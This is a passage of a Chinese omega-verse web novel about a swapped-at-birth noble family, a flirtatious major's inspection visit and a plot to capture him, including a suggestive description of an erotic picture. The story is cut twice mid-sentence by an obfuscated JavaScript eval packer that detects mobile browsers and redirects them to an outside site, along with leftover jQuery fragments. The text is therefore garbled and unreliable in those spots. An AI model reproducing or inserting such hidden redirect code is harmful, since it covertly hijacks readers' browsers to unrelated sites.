见青年撅着嘴沉思,他立刻加足马力。
“而且您不是想与少校两情相悦吗?这就不能操之过急,得一步一步来,比如先聊聊天,互相谈喜欢的食物颜色,兴趣爱好之类,再往后就是认识到彼此的缺点和厌恶什么,加深了解……”
有朝一日扮演起情感大师,谢云哲的感言只有哭笑不得一词。
他以再三忠告过的‘慢慢来’作结尾,忐忑地看听众又拆开一颗糖放进嘴中。
为方便说话,小少爷舌头卷动,口中的糖挪到右侧含住,脸颊鼓起半球型的弧度。
“但是,只要是伊诺克大人的,我都喜欢,都想要啊。他让我做什么我都愿意,死也可以哦。”
认清苏洛的爱恋程度,谢云哲胸口滞塞,不知是第几次扶额沉默。
这一刻他特别想见苏霆,好问清楚堂堂一家之主是怎么抚养‘弟弟’长大,又是怎么塑造恋爱观的。
好在得知他的不婚意愿,小少爷不再如之前仇视他。
于是借着指导的名义,谢云哲试探道。
“请问,苏洛少爷,您到底喜欢少校什么地方?有什么特殊的契机吗?”
这为爱盲目的青年表情顿时一变,像藏坚果的松鼠警觉地立起耳朵,直勾勾盯着异响处。
他要比松鼠直接也大胆多了,张嘴就问。
“你想知道这做什么?”
把话自动翻译成‘你难道想跟我抢人’,谢云哲用力甩头解释,“我只是帮您分析罢了,或许还能帮您判断出来那位的偏好提前做参考。”
伊诺克少校简直是味万能灵药,前一秒苏洛的目光还似剑刃冰冷,后一秒又软成棉花糖,团满梦幻的甜丝。
他接着满面春色道出理由。
“因为,他现在是最厉害最有潜力的人嘛,还是普莱德大元帅钦定的继承人,强大善良,聪慧博学,以后肯定是世界第一alpha。”
虽有预感,可真听完整段话,谢云哲不出意外地词穷了。
这小少爷怕不是把崇拜和爱慕混淆了吧?
想到这谢云哲不禁笑出声,很莫名其妙的。
他刚觉得自己接下来能大展身手,好好掰正对方的观念,却又听人说道。
“只要我跟伊诺克大人结婚,大元帅就不会再讨厌大哥他们,也会愿意出兵帮忙赶走西边山上的坏蛋了吧,他们整天抢东西抢人回去,大哥可头疼了。”
谢云哲蓦地敛声,原因与此前的每一次截然不同。
西边山上的坏蛋——索拉兵团,他也有所耳闻。
正是他们一年前掳走苏洛使人重伤,后来二次袭击导致其瘸腿,就结果上看,这已是最幸运的了。
多数被兵团带走的人,不论身份性别,能够完好地活着回来已是奇迹。
他们绑架苏洛的原因,众人了然于心。
不是他做了或说了什么才招人恨,仅仅因为他是‘苏洛’,是苏霆的弟弟,是率领北军的家族一员。
如果没有十八年前的交换意外,那么今天瘸腿的就是现在‘谢云哲’。
就算他凭能力躲过这一劫,可只要那批穷凶恶极的暴徒多存在一天,危险就仍如影随形。
纸页摩擦窸窸窣窣,小少爷重新翻动着书籍,仍旧兴致盎然。
而谢云哲视线落向旁边,掩藏着眼眸深处的动摇。
他混乱杂沓的念头里,唯有一条被他牢牢抓住。
为什么他始终无法对苏洛真正动怒,甚至还有几分偏袒?
因为在他看来,是对方代他承受了与颠沛流离相当的残忍考验,另一种并不平静的生活。
就连他最讨厌的冰雪,这人也直面了十八年,渐渐地习以为常。
虽然他也曾经历过痛苦,也有绝望到想叱问上天的时候,但无论是他还是苏洛,都不应以过去的苦难记恨对方,指责谁盗取了谁的人生。
真正错的,该是居心不良的罪犯,那名交换者。
情绪惨遭调动,相当于犯了谈判桌上的大忌,谢云哲的劝导计划B也因此陷入僵局。
要不,还是先算了?
他端起茶杯送到嘴边,默默地心理斗争。
等小少爷见到伊诺克·普莱德的真面目时,他再趁机点醒几句。
再说以苏霆元帅对苏洛宠爱的程度,应该也不会放任不管的……
“你看你看!这个怎么样!你觉得合适我穿吗?看起来好有意思哎,可以当新婚当晚的战衣!”
小少爷不知看到什么,急不可耐地拍桌唤声。
谢云哲来不及放下茶杯,抬眼一瞧瞬间五雷轰顶。
只见图册上,一名身量相貌与苏洛相当的青年跪立着微微仰头,眼神迷离。
他的衣着可以形容为除了空气什么都没穿,仅有的几条布还是该叫绳链的东西缠在颈间,圈住腿根,随便扯两下就能带走重点部位前的羽毛织物。
稍微再用力或动作再粗暴点,就能像撕掉鸡蛋外的一层薄膜,瞬间剥光全身。
不,其实脱不脱光都没差别。
画中人早已摆出欢|好的姿势——腰肢下塌,后臀翘起,只等着谁来采撷,共同沉沦快意。
而表情迥然,脸蛋相似的小少爷把画比在耳边。
“怎么样,是不是很适合当我的战衣!”
“咳、噗——”
三天的脱敏训练瞬间因为过度相似的脸归零,谢云哲一呛猛扭头,好歹及时转向地面喷茶,而不是满桌书画或者心花怒放的苏洛。
可他这一口呛得太厉害,不仅半天没缓过神,还让他像差点溺毙的人头晕眼花,语言能力全破碎。
平日细白的脸孔也惨遭毒害,酒红紫青墙皮白,各种色调轮换。
前所未有的狼狈一度让谢首领自暴自弃,干脆忘了恭敬。
他弯着腰捂着嘴,就只是放空大脑,拼命删除危险的禁忌画面。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176281|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>在这最需要谁发狠咒骂他,能让他借机溜走的时候,他偏偏捕捉到一声轻如飘羽的低笑。
随后,便是一句——
“啧,真脏啊。”
非嘲讽也非愠怒,上扬的尾音如同整蛊得逞后的欢愉,也有点像性|事过半时的中场调|情。
还在咳嗽的谢云哲猛掐大腿,头压得更低了。
他的记忆抽屉瞬间开得乱七八糟,飞出来的全是涂满色|欲肉|体的废稿。
有那么一瞬间,他甚至觉得那句‘真脏’是在指桑骂槐。
是在说他脑中不为人知,就连他自己也没发觉的深层妄念。
人果然不能看太多‘脏东西’啊!
这边的谢云哲还在为平复情绪做斗争,那边的小少爷已看够他的出糗,瞄了一眼远处的小钟楼。
“啊,快到大哥回来的时间了,我自己去见他,你留在这帮我藏好这些宝贝哦,不许给别人看到。”
谢云哲坐正几分点头,但仍旧躲避对视。
他相似的乌黑眼眸中尽是挫败,实在羞于见人。
这幅模样,独自转动轮椅,从走廊尽头拐入密室的小少爷有一条专门的形容。
“有色心没色胆,假正经真流氓,和哥哥闷骚男半斤八两,一脉相承。”
话音刚落,憋笑的人轮到季参谋,让他差点打翻茶壶。
“噗!”
秘密会谈室只有三人,季宇飞无需掩饰,狭长狐狸眼朝旁座上的某位元帅一眨。
“血缘真是很奇妙的东西啊,就算分隔两地从未见过面,有些该像的地方一点没少。您说是么,苏元帅。”
他的幸灾乐祸被对方无视。
看来论脸皮厚度,谢云哲还是略逊亲哥一筹,哪怕被两双嘲弄的眼睛盯着,苏霆也能处变不惊地说正事。
“已经确定好时间了。昨天夜里九点伊诺克·普莱德出发,将代理大元帅巡访,最后一站就是我们这,留驻时间不定。”
“而既然是代理,他的出行也是按最高等级准备。”季宇飞无缝切换,端来茶直接口述,“我参考往年的数据推算,今年预计会有一百五十到两百左右的精锐兵种随行,火力规模足够进行六天的交战。不出意外,这次他们会启用那边新复原的战甲三代。”
但设计上,那比帝国强盛时期的外骨骼战斗机相差许多,坦白来讲,不过是需要多人配合操作的大型战车罢了。
轮椅吱呦吱呦响,是小少爷苏洛,或该说苏罗正绕着地毯边缘转圈。
他最后停在螺纹与镶边的中间,双脚踩实起立。
“哦?也就是说,是他们准备的聘礼喽?”
房中一时无人应声,这不是意味着默认就是代表不情愿却无法反驳。
一如既往地,只有苏霆还会义正言辞地‘挣扎’一小下。
“那只是意为交好的见面礼罢了。虽说我们自己建立了信号源和屏蔽墙,但他们也会通过其他渠道察觉斯卡蒂的变化,自然不敢再轻视这次会面,与我们撕破脸。”
说完似是觉得心虚,他飞快一扫徐徐走来的人影,但又不死心地盯着地板继续动嘴。
“所以,我们没必要太迎合他们,尤其是巡视的代表人。”
“什么代表人啊,那可是伊诺克阁下,是我每天睡前会想到,梦里会见到,恨不得马上就相见相亲的未婚夫啊。你是舍不得了吗,大哥?”
戏谑的口吻仿佛是同时讥笑话里提到的两人,而今天唯一在场的苏霆欲言又止,攥着的手套已快被他挤弄成麻团。
忽然间,他旁边的沙发座位陷了下去,间隔近到他能感受出另一具身躯散发的体温。
“如果是我最爱的大哥要求我,那我说不定会再犹豫一下哦。”
这么说的苏罗霸坐一旁,右手搭在苏霆后方的靠枕上,他翘着腿好不悠闲,硬是把人高马大的苏元帅衬成了遭他调戏的那方。
若是在密室外,当着谢云哲等人的面,苏霆自然能说得出来,也能做出更多符合设定的亲密行为。
可现在界线划清,身份明晰,他只浅浅地笑了笑,转而接话道。
“既然你已定好计划,我们也经过多次商议调整,哪有为我一句胡话就大改或放弃执行的道理。”
似是早有预料,苏罗摊手看向季宇飞,后者也耸肩摇头,不知在故作惋惜什么。
看着这俩沆瀣一气的同谋,苏霆远程跟谢云哲同步上了,一味地用其余事来转移注意力。
不过,相比亲弟弟烦恼的‘色|图一百零八式’,他心里揣着的东西可要胆大包天得多了。
“那么,已经可以回去叫他们准备起来了。”
苏霆将捏皱的手套一丢,唇角不自觉地挂起一点弧度,颇有他如今侍奉的‘王’,亦是他万般宠爱的假弟弟的狂妄影子。
而他不禁也发出低沉短促的笑,道出本次的行动概要。
“捕获伊诺克·普莱德,挟持并彻底掌控巡视队伍。”
20. 元首的蓝宝石20
制服北区管辖军苏霆元帅,渗透并彻底掌控斯卡蒂防线。
默念着本次巡礼的真正目标,如今的大元帅代理——伊诺克·普莱德少校轻晃酒杯,胸有成竹道。
“直白地说,只要捕获那位可怜小少爷的心就能借此抓住苏霆的弱点,进一步收复领地,制服那群不够乖的刁民。是这样么?”
醇厚佳酿不止渗入体内,仿佛还浸透嗓音,激发出他声调中最具俘获力,也是最能刺激荷尔蒙释放的部分。
相貌继承了omega母亲的优点,红色长发是普莱德家族代代相传的特质,以他的脸庞做出任何表情,哪怕是最毁美感的惊恐也可称为人体艺术,足以载入史册。
按品种区分,他大概会被挂在风气开放,鼓吹肉|体之美胜过精神厚度的时代纪念墙上。
千万年来这面墙刷了又刷,层层嵌套,无数次地翻修,足以证明欲在人当中的根深蒂固。
幸好,他还没到被做成纪念品的时候。
也幸好,他与他面前的随从仍记得自己现在的使命。
“依鄙人去年探访的见闻来看,苏霆对他弟弟的重视程度之深,足以动摇他对全军的统领。”
同是面对大元帅之子,如今的默文上将姿态拘谨,俨然将自己摆在下属、心腹以及护卫三者合一的位置。
以防隔墙有耳,他故意隐去某些字眼汇报。
“可问题在于,我们不久前确认了消息,他们从独立区和暗环区的交界处请回来两个跳虫游民,其中就有半年前匹配上基因数据库的人。”
事实显而易见,这是一场荒唐的错换戏。
真正具备继承权的苏洛是在外流浪的小小跳虫,而非家里衣来伸手饭来张口的矜贵omega。
碍于斯卡蒂的落后闭塞,他们无法靠网域探查那边的民情和舆论,暂时无法判断出苏霆在这时接回亲生弟弟的用意。
如果是想让人认祖归宗,那为何迟迟不公开实情。
如果只是出于道义弥补,那怎么又把人带到险象环生的故乡,放在备受瞩目的‘原位’。
“别急嘛,默文阁下,瞧你这苦大仇深的样子,都把酒的香味赶跑了。这可是我特地从母亲的酒窖里借来的名酿。”
作为本次行动当之无愧的第一主角,伊诺克·普莱德毫不怯场,他重新为自己添满酒,又为默文没碰过的杯子象征性地加两滴。
窗外已出现白色颗粒,那既是霜雾又是雪片,细密地纷飞飘散,轻蹭着外舱的防风层。
今日天气难得一见的好,阳光使能见度大幅提升,让雪云的每个细微变化都能投下灵动的虚影,梦幻犹如妖精群舞。
这是地面或首都都看不到的奇象,纯粹的自然盛景。
匆匆扫一两眼,不感兴趣地伊诺克就转过脸问。
“我听说,原来那位小少爷对我颇有好感?”
他的提问其实相当刻意,毕竟在中高层当中,这不是什么秘密。
倒不如说,早已因为弗雷泽被退婚一事而人尽皆知了。
但默文仍旧详细描述起自己重复过数遍的内容。
描述某人对伊诺克·普莱德的痴迷,崇拜,飞蛾扑火式地疯狂爱恋。
待他讲到尾声,远景正好浮现了山脉轮廓,夸张的起伏如同濒死病患的心电图画,也像巨兽尸骸上的獠牙,绵延千里,高耸入云。
恰逢此时,飞艇上的侍者也推着餐车,送来丰富精致的早点。
这批随行人员一半是大元帅麾下分派来的,主要负责安防和指挥工作,另外那半自然是参照尊贵代表的喜好,精挑细选来的后勤。
细瞧侍者那无一丝赘肉的腰肢,纤细修长的脖颈,伊诺克递去空酒杯。
他指尖有意无意刮过对方手背,撑着脸盯着人,轻轻吐息道。
“原来如此,还真是一个可爱的小东西啊,所以稍微任性点也不会惹人厌呢。”
既是对默文的接话,又是对目光闪躲脸微红的侍者评价,他这种以大方包装的轻浮最是难缠也难解。
仿佛是名钓鱼行家,深谙诱与惑的比例把控,引得鱼儿自行咬钩。
吃到了诱饵,勾破了嘴,被拽离水面的鱼只会怪自己痴心妄想,过分贪图。
因为它怨不得,更恨不起岸上满载而归的收杆人。
只是摆餐的几分钟时间,默文便亲眼目睹少校如何掐着刚睡醒的滥情调子,三言两语把漂亮的侍者逗得脸红,被他摸到腰也无一丝抵触。
兴许只要再勾勾手指,多给一分暗示,深夜他的房门就会被粉面含春的年轻侍者敲开。
“请、请两位慢慢享用。您有什么需要、我,我们就在外面。”
放下最后点心,舌尖打结的青年连忙逃离,快速合上的门却遮不住他红得透粉的脖颈。
虽然目前独身,默文也懂得成年人之间那点事情,他松弛地往后靠,不禁揶揄道。
“请允许我向您致歉,伊诺克大人,您笼络人心的技巧我自叹弗如,相信再顽固的冰疙瘩也会被您说动的。”
当然,伊诺克·普莱德对现在的十个管辖区、两个特别独立区外加范围最大的暗环区之中最出名,同时也是唯一一个配称为冰疙瘩的苏霆毫无兴趣。
他的目标最开始就是‘苏洛’。
无论是哪个,也不管是一个还是两个,他都能够‘吃’下。
信心满满的少校切割鱼排,又为默文科普起整桌奢华餐食的来源。
从原产地培养到长途运输再到最后的加工环节,粗略算算成本,他们随便吃下的一口就相当于一个普通家庭整年的开销。
这仅是普莱德家衣食住行中最基础的一项,是里面最微不足道的一小点。
自幼过着人上人的生活,他从不刻意去记价格,有这种万事无需顾虑的挥霍作态,也不难怪会有大把人前仆后继地涌向他。
除去艳羡和理所当然,今天沾光的默文就只有一个想法。
看来只要一落地,伊诺克少校就能成功捕获苏洛了。
原本应该是这样的。
“万分抱歉,舍弟今日身体欠佳,不能够同来迎接,还请尊敬的大元帅代表人见谅,勿要怪罪。”
还是一年前的降落平台,还是那般冷冽的寒风,‘冰疙瘩’苏霆站在数十位面无表情的骨干跟前,用实际行动诠释着什么叫煞风景。
虽有片刻诧异,伊诺克仍反应快速。
他主动伸手,问候道。
“哪里的话,苏元帅您一家人都是忠诚刚正的英杰,这些我与父亲以及诸位将士都有目共睹,若真要因此惩戒,那我们才是罪人呢。”
“多谢您的理解。”
少校对元帅,手与手相握,随后礼节性地摇晃。
分明是如此简单又普通的一环,伊诺克却忽然僵住了笑,说不出话。
施加在他手上的力道,重得不可思议。
像拿高压板挤压,像用千斤轮碾扁,这苏霆似乎是奔着废掉他手的用意在使暗劲。
来不及在那张冷峻的脸上确认什么,对方又率先松开手,仿佛无事发生。
不谄笑客套打官腔,苏霆直接侧向升降机的入口,示意道。
“现下时间刚好,还请各位随我一同前往本营巡视,也好早些在那歇息,缓解旅途的疲劳。”
看这风风火火的架势,他是铁了心不想让他们见另一位隐藏的重要主角。
察觉此意,默文上将莫名有些急躁。
但见伊诺克只是活动着手腕微笑,他便也默不作声地跟随。
他们的护卫队共有两百二十五名精兵,应大元帅本人命令,必须分出一百人随行,最少也要半数守在伊诺克少校附近。
所以耗费半小时,整批人才抵达巨大要塞的中间层。
一路下来看着符合想象的沉闷景致,破旧设备,这群来自首都的中央兵无疑和到访两次的默文一样,心生轻慢,略感同情。
再往里走一段距离,他们更是诧异。
那些站岗巡逻的北区士兵,一个个散漫无度,毫无军纪可言。
或是靠墙打瞌睡,发觉有人走近了才敬礼,要么是三三两两聚在一块闲聊,枪械随意地放在旁边。
若不是他们还穿着那身军装,完全就是街边的市井小民,得过且过的度日。
不仅如此,他们的人数远不及去年,削减得不像话。
察觉寂静中蔓延的惊奇,那一双双眼睛里显化的鄙夷,苏霆头也不回地解释。
“最近快过节了,所以我和季参谋长商量,打算给大家临时放个小假。我们的人一年到头忙于训练和迎敌,还是比较辛苦的。”
当解释过于苍白,那就只能被旁人冠上狡辩的名头。
今天的默文不如上回那般忌惮苏霆,他加快步伐,专门来到男人侧后方开口。
“根据近期您上交的统计报告,这几个月北区的敌袭和紧急事故相比往年是大幅下降了,看来是您统领有方,由您镇压暴|民兵团,平定西边山区的好消息指日可待。”
真是好笑。
靠那不务正业的废柴兵,稀稀拉拉的破装备,等到猴年马月也说不清。
可像没听懂默文的明褒暗贬,苏霆淡淡一瞥,嘴角微勾道。
“由我指挥是不太可能了,不过,这里自有能胜任的人。”
话音刚落,他在收回视线的刹那顿住脚步,继而乱了呼吸。
“怎么会……”
通往训练场的安检口门前,站着两个突兀人影。
西奥多手捏帽子,远远地就向大部队鞠躬行礼,他右边挨着的谢云哲跟着欠身,双手拘谨地贴在两侧。
既然他们同
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176282|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时在场,只有‘两个人’的假象不攻自破。
果然,在他们站位的缝隙间,忽地探出一个脑袋。
快速地偷看又猛地收回,如同受惊的小动物不敢露面。
“噢?请问那边的是——”
伊诺克故作惊讶,转向身旁只感到一阵风迅猛掠过。
这下不止是他,连训练有素的士兵也不禁为擅自离开,无视大元帅代表的苏霆咋舌。
“你们怎么来了,现在来这做什么?”苏霆大步流星向前,质问声里明显夹杂着急促和不快。
若说西奥多是没长嘴的大犟种,那谢云哲就是选择性闭嘴的机灵鬼,他故意等苏霆走近才挪开小半步,让他身后,也是在场最合适的人发话。
轮椅上,今天郑重打扮的小少爷连忙扯住兄长衣角,把对方当作掩体拉向自己。
“嘘——小点声,是我让他们带我来的啦,大哥。”
虽然他在很努力地控制音量,可在这封闭空间内……
该怎么形容才好呢,这样的场景,这样的时刻,他心脏狂跳的鼓噪声都能被旁人轻易窃听,品味出他的紧张。
“你不是头疼不舒服吗,还出来吹风?”
苏霆俯身,像堵钢铁城墙把青年全部罩住,不给后方留下半点窥视缝隙。
如果距离再远点,他估计就要连人带轮椅扛上肩头,一个箭步跑开了。
“我、我没啊,你听错了,我只是说会晚点、嗯,我有点事情耽误了而已。”
大概光是知道心仪对象在场,因为亢奋而失眠一整夜的小少爷说话也不利索了,他更不知道该以哪种口吻实施往日的撒娇。
而作为被迫陪同熬夜,还要帮苏洛选一早上衣服的苦力,谢云哲已调转视线,悄悄打量起贵客——让小少爷茶饭不思的梦中情alpha。
那名在一众士兵蓄着长发,身穿黑款典礼军服的男子,一人营造出独特的存在感,笑得礼貌但不温和,是该出现在迷醉酒宴上的焦点人,而非穿梭刀光剑影的战士,稳重专情的伴侣。
察觉他的目光,这人还颇自信地朝他一笑,眼神三分赞赏三分挑逗还有四分硬凹出来的漫不经心。
谢云哲:“啧。”
差劲。
差到极点了。
超——级——差劲。
一夜未睡还连读四天的另类文学,暗自啧嘴的谢云哲表情未变,心里已经把‘赫赫有名’的伊诺克·普莱德踩到最低。
要是他是苏霆,那刚才他可不会停下来好生跟苏洛说话。
就应该直接连人带轮椅推出一串火花送出基地。
可惜,现在说什么都太迟了。
“那个,你们是要去参观吗,大哥。也带上我吧,我也好久没见大家了,怪想他们的。”
小少爷终于恢复状态,就是说话仍要躲在苏霆身影里,说几个字偷偷瞄几眼前方。
“唉……”
并非错觉或恶意揣测,当苏霆重重一叹,回身看来时,后方包括伊诺克在内的全体成员,统统都收到他警告意味浓重的瞪视。
狠狠瞪一圈完毕,他转而摸着苏洛脑袋,温声细语差别不要太明显。
“你来可以,但现在闲杂人等太多,公事中也有不方便的地方,我叫季宇飞接替我领路,你待会儿就跟我走后面。”
此话无异于宣判了死刑,让小少爷断掉接近唯一目标的念想。
然而还没等到他作天作地撒泼,一位说客就先不请自来。
“苏元帅,想必这三位就是您的家眷和亲信吧。真是来得早不如来得巧,其实我们今天也只是走个过场,就当一起放松散心,何必在意那些死规矩?”
少校走近得突然,起先正纠缠苏霆的青年躲无可躲。
于是他慌乱地左看右看,一扭头就扎进兄长怀里,学起了鸵鸟埋脸。
这下伊诺克哭笑不得。
另外,他更加确信自己能得手。
来前他其实还有些怀疑,因为他听说去年弗雷泽那个贱种来时就被苏洛成天粘着不放,两人一副很亲近的模样。
娇生惯养的小少爷更是在敌袭中舍身相护,救了贱种一命。
如今他亲自来一趟,疑虑烟消云散。
在他看来,‘爱’的具象物即是‘火’。
这抹情感越是强烈就愈发炽热,稍一靠近寄托的对象就会因为烫到表皮,仓促不堪地缩回手。
明知不堪还要执着地靠近。
明知危险却必须借此生存。
或许,这就是人类逃不了的‘火种’诅咒。
眼下隔着苏霆这堵人墙,伊诺克·普莱德有意眨眼加深笑容,向那悄悄露出一只眼窥探自己的人摆摆手。
他心想。
这场捕获,这场较量,长久与火共舞,能够肆意把玩的他赢定了。
21.元首的蓝宝石21
输定了。
在斯卡蒂北军基地巡视的一小时二十五分,默文上将脑海中不止一次飞过这条短句。
战场最忌讳意志动摇。
若开始就产生‘赢不了’的念头,哪怕只是转瞬即逝,也会成为之后埋伏的一枚地雷。
然而这场战役的主帅不是他,是根本无从下手的伊诺克少校。
原以为苏洛不请自来,硬要陪同他们巡视是个好开头,谁料,是他们低估了苏霆,或该说以苏霆为代表的整个营地的保护欲。
在训练区,那些士兵见了他们行过礼后一股脑围上来。
那既不是向他们示好,也不是好奇或崇拜他们中央兵的装备与面貌。
而是为了向苏洛献殷勤。
无论什么性别,无论什么军职,只要发现小少爷的身影,这一群士兵们就一改散漫面貌,热情地打招呼送礼物,没话说也要硬凑过来看两眼。
他们居然不顾有大人物在场,甚至敢拿苏霆打趣。
“苏元帅,您怎么才把小少爷带来,我们都快想死他了。”
“就是说啊,这几天我都吃不下饭了。”
“吃不下?那是谁昨天还偷吃我的那份?”
“咳咳!这我可不知道,来小少爷,这是我家寄来的特产,你上次说要吃的那种……”
一张张带笑的脸庞如怒放的鲜花,里三层外三层将轮椅上的青年簇拥。
有侍者的身份,谢云哲勉强留在中心。
他站在苏洛身后紧握把手,自己仿佛也和轮椅合体,成为物件般有实体却存在感低下的事物。
但这正适合他藏进阴影,钜细靡遗地观察。
旁人或许看不真切,但从他视角来看,这群献媚的人是发自内心地敬重并喜爱。
几乎是第一秒,第一眼,立即敲定结论。
为什么?
如果只是因为小少爷是苏霆偏爱的弟弟,或是因为他omega的身份、不幸的遭遇,那这些眼神里不该少了一种最重要的东西。
吵闹说笑声中,苏霆拂开咋呼的士兵站到他身旁。
“我来推轮椅。这群家伙才放纵几天就被惯坏了,不知轻重,你先回休息室等。”
男人的声音是一贯的冷漠,似冰海叫人望而却步。
可微妙的是,谢云哲从中听出了烦躁和转瞬即逝的不安。
不安之所以消失不是因为源头解决了,而是烦恼者熟练地打开一层层思绪抽屉,将它们塞到最底层,藏得更严实,仿佛这样就能哄骗自己它们从未存在过。
就像他会做的那样。
突然在兄弟身上找到相似点,谢云哲一时怔愣,没能立即回应。
以为青年是没听清,苏霆直接伸手想代劳。
可另一只手抢先按住了他。
嘴里嚼着果饼,怀里抱着成堆的礼盒,小少爷仰起头,含糊不清地说了一句。
“他现在是我的专属贴身侍从,你难道反悔了,想让他也当你弟弟吗,大哥。”
这又是一大难解的神奇现象。
小少爷按正常音量说话,竟能在一片聒噪的,堪比大型犬类辩论群的士兵当中传到最远,畅通无阻。
缓了四五秒,最外围的人群才反应过来,是那伙士兵自觉敛声闭嘴。
但这群不知实情的旁观者们更在意另一件事。
此刻发生在他们眼前的场景,相当于逢年过节拷问一个小孩最喜欢父母里的哪一个,还不许他说两个都爱或用花言巧语回避。
被当众架上审讯台,苏霆换了副相对柔和的表情,宽大手掌轻放到苏洛头上,好似怕碰碎了一般抚动。
“我只有你一个弟弟,只要能让你高兴,我做什么都可以。”
哪怕有多离谱,再怎么像故弄玄虚的爱语,从一身正气的他嘴里说出,都找不到丝毫玩笑或哄骗的成分。
只有两个地方才能听到相似的话。
向军队宣读誓言的高台。
向挚爱承诺终身的礼堂。
而结合了这两者的庄重与深情,苏霆的满分回答让自己唯一的‘弟弟’喜笑颜开,贴住他的掌心主动蹭着。
小小插曲短暂却影响巨大,尤其是对初次到访,也是初次接触到这对‘苏家兄弟’的伊诺克·普莱德来说。
代表大元帅父亲出行,他今天可谓是给足面子。
就像他开始保证的,只是走过场的他没追究那些有意为之的怠慢,无意为之的冒犯,大度到令默文欲言又止,频频投来担忧的目光。
直到听完苏霆的溺爱宣言,他才产生一丝危机感。
巡视还要继续,而他的危机感也在抵达科研实验室时再升数级。
在没有专属空间,只能用小号训练场充数的‘科研室’门外,季宇飞参谋长领着可怜巴巴的十几人恭候已久。
季宇飞上前行礼问候,适时介绍起主负责人。
“布雷格·丹特,我们在双校合并前从第一学府请回来的青年俊杰,一直是他撑起我们这边的工程领域。”
伊诺克点点头:“原来这位就是传闻中满分成绩毕业,又揭发导师盗取自己研究成果,还凭一己之力删光对方全部数据后退学的奇才。今日一见,果然气度不凡。”
经他一提,众人对那高高瘦瘦,身上只有灰白黑三色的男子印象翻篇。
因为在公开的官方消息里,是布雷格·丹特犯下大错,是他私自篡改一款重要药品的研发数据,导致当年某位德艺双馨的老教授倍受打击,不得不隐退修养。
他本人则因此上了黑名单,终身不得进入首都的学府和机构,彻底地被封杀。
如今这灰发及腰,面容精悍的男子接话,双眼却没注视着任何事物。
“他用了我的错误范本,最后只会得到更离谱的结果,硬要发表投入生产,简直愚蠢。”
这么一听,更颠覆的猜测又冲撞着他们大脑。
当初导师挪用他研究成果的事是真的?
他不仅知道,还仅仅是因为对方不肯等他‘改错’就一怒之下删光资料?
到底是纯粹还是偏执,又或是对学术的扭曲坚持,这会儿沉默的旁人,包括只会微笑的伊诺克在内都拿不准了。
所以当他扭头转身,作势离开时,他们也毫不意外。
“招呼打完了,我走了。请你们别进来烦我,不然我还得费时间给你们消毒,很碍事。”
比起外头的士兵,他的目中无人更上一层,简直是无差别对待全人类,礼貌但尤其空洞。
不对,差别还是有的。
他视线如机器般扫过一圈,精准筛出标记为‘害虫’的存在,接着扬手指去。
“特别是你,有你在,我会更烦。”
指尖延伸的方向尽头,赫然是诧异眨眼的伊诺克·普莱德。
何其无礼,何其傲慢。
全程忍耐下来,默文上将终于爆发了。
他跨出一步大喝道。
“放肆!你区区一个戴罪研究员,全首都学府的污点,以为你在对谁说话,睁大你的狗眼好好看清楚!我再给你一个机会。”
对旁人乃至自己都挑刺到极点,默文一通叱责的措辞和逻辑无疑让布雷格大感迷惑。
无语的他最终回了句更长,也更嚣张的——
“我又不认识你们,我只是不想看到他,就跟大部分人看见臭虫一样,会忍不住拍死但又怕弄脏手和房间。我嗅细胞的数量要高于正常水平线,对气味更敏感,要完全清理臭虫酸,很麻烦。”
“你!”
默文出离愤怒,即刻抬起右手。
常年跟在大元帅身边辅佐,他后方的近百名精兵全数将手放上配枪,肃杀之气陡生。
“诸位请别这样,丹特先生只是说话直接了点,不碍事。”
伊诺克·普莱德微笑依旧,虽是在劝阻自己人,可他双手仍悠哉背在身后,一眼就能辨明其用意。
真心阻拦是不可能的,他的最终态度还是得看另一方,也就是苏霆等人的反应。
他早听父亲说过,北军一派疑心深重,不仅拒绝首都搭建信号塔、铺设联络网的真诚相助,还不接受中央调遣的人才,理由是斯卡蒂地域特殊,与外界资源不适配。
即便不是意图谋逆,种种行为也相当古怪。
今天对方自愿送来导火索,对于他可谓是正中下怀,好借机查个仔细。
“布雷格·丹特,你是想再上一趟法庭吗?”默文上将愠怒质问。
“不去,太远,我工作多。”
“我不是在询问你!”
“那你为什么又要对我用明显的疑问句式,首都的教育质量真令人堪忧,一点没变。”
“你、你这——”
……
默文上将愈发咄咄逼人,布雷格死咬着不肯让步,而他们双方代表的阵营始终没人劝阻。
前者没人制止是正常,毕竟列队里就他地位仅次于伊诺克·普莱德。
至于后者,看季宇飞一脸为难的样子就能猜出原因了。
如果这时上去打岔圆场,恐怕同样会被布雷格视为敌方,稍不留神就会火上浇油。
眼看事态趋于失控,自认领袖遭受侮辱的中央兵也蠢蠢欲动,一阵吱呦声突兀地穿插进来。
谢云哲推着轮椅,从队伍末尾绕到最前。
“好久不见,布雷格。今天你很忙吗?不能让我带贵客进去看下吗?就一会儿。”
刚吃完别人投喂的礼物点心,小少爷嘴角还沾着没擦掉的饼干屑,而他沾着油光的手前伸,就这么拽上布雷格的衣摆。
目睹此景,饶是和布雷格吵得不可开交的默文也倒吸口冷气。
但见那古板学究眉毛轻抽,原本如蜥蜴般无波无澜的眼瞳忽然浮现一丝情绪,他就知道自己震惊早了。
“你又是故意的?”
布雷格皱着眉,没撇开没发火,骤降的声音里隐约冒出点怨艾,是一种不伤情分的抱怨。
